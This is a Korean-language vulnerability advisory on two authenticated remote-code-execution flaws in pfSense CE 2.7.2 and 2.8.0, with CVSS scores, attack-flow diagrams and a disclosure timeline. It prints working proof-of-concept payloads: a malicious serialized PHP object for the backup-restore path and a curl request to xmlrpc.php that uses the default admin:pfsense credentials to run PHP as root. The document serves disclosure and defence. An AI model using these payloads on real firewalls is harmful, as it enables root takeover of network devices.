
Netgate pfSense CE 2.7.2 및 2.8.0에서 인증된 RCE
| 항목 | 세부 정보 |
|---|
| 연구자 | Nelson Adhepeau (@privlabs) |
| 공급업체 | Netgate |
| 제품 | pfSense Community Edition |
| 버전 | 2.7.2 및 2.8.0 |
| 유형 | 인증된 원격 코드 실행 |
| 공개 | 2026년 2월 |
| 공급업체 통보 | 2025년 12월 2일 |
| CVE 할당 | 2026년 1월 28일 |
이 연구는 교육 및 보안 인식 제고 목적으로만 격리된 랩 환경에서 수행되었습니다. 모든 발견 사항은 공개 전에 공급업체에 책임 있게 공개되었습니다. 본 권고는 프로덕션 시스템을 공격하라는 초대가 아니며, 무단 테스트는 불법입니다.
| 항목 | 값 |
|---|---|
| CVSS v3.1 | 8.8 (높음) |
| 벡터 | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| 공격 유형 | 인증됨 (관리자) |
| 구성 요소 | 백업/복원 메커니즘 |
pfSense 구성 복원 메커니즘은 클래스 화이트리스트, 입력 검증, 샌드박싱
없이 사용자 제어 데이터에 대해 unserialize()를 호출합니다.
악성 직렬화된 PHP 객체를 포함하는 조작된 백업 파일은 post_reboot_commands
속성을 통해 임의 명령을 주입하며, 해당 명령은 전체 루트 권한으로
mwexec()를 통해 실행됩니다.
[Attacker] → Login as admin
→ Upload malicious .xml backup file
→ Trigger restore
→ pfSense calls unserialize() on attacker data
→ post_reboot_commands executed via mwexec()
→ [ROOT SHELL]
config.php — 복원 처리 로직pfsense_module_installer 클래스 — 안전하지 않은 역직렬화 대상mwexec() — 명령 실행 싱크O:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"확인했습니다. 인증된 관리자 권한 남용으로 분류됩니다. 패치는 제공되지 않습니다." — Netgate
| 항목 | 값 |
|---|---|
| CVSS v3.1 | 9.9 (치명적) |
| 벡터 | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| 공격 유형 | 인증됨 (원격, Basic Auth) |
| 구성 요소 | XMLRPC API — pfsense.exec_php |
pfSense CE 2.8.0은 검증, 샌드박싱 또는 어떤 형태의 제한도 없이
루트 권한으로 임의 PHP 코드를 실행하는 XMLRPC 메서드 pfsense.exec_php를
노출합니다.
해당 엔드포인트는 다음과 같습니다:
admin:pfsense)으로 악용 가능[Attacker] → Send XMLRPC request to /xmlrpc.php
→ Authenticate with admin:pfsense (default)
→ Call pfsense.exec_php with arbitrary PHP
→ Code executes as root, no sandboxing
→ [ROOT SHELL]
xmlrpc.php — API 진입점pfsense.exec_php — 안전하지 않은 동적 코드 실행curl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"확인했습니다. 인증된 사용자에게 예상되는 동작으로 분류됩니다. 패치 계획이 없습니다." — Netgate
November 2025 → Vulnerabilities discovered
December 2, 2025 → Responsible disclosure to Netgate
→ Vendor acknowledged, no patch planned
January 28, 2026 → CVE IDs assigned by MITRE
February 2026 → Public disclosure
Nelson Adhepeau — 독립 보안 연구원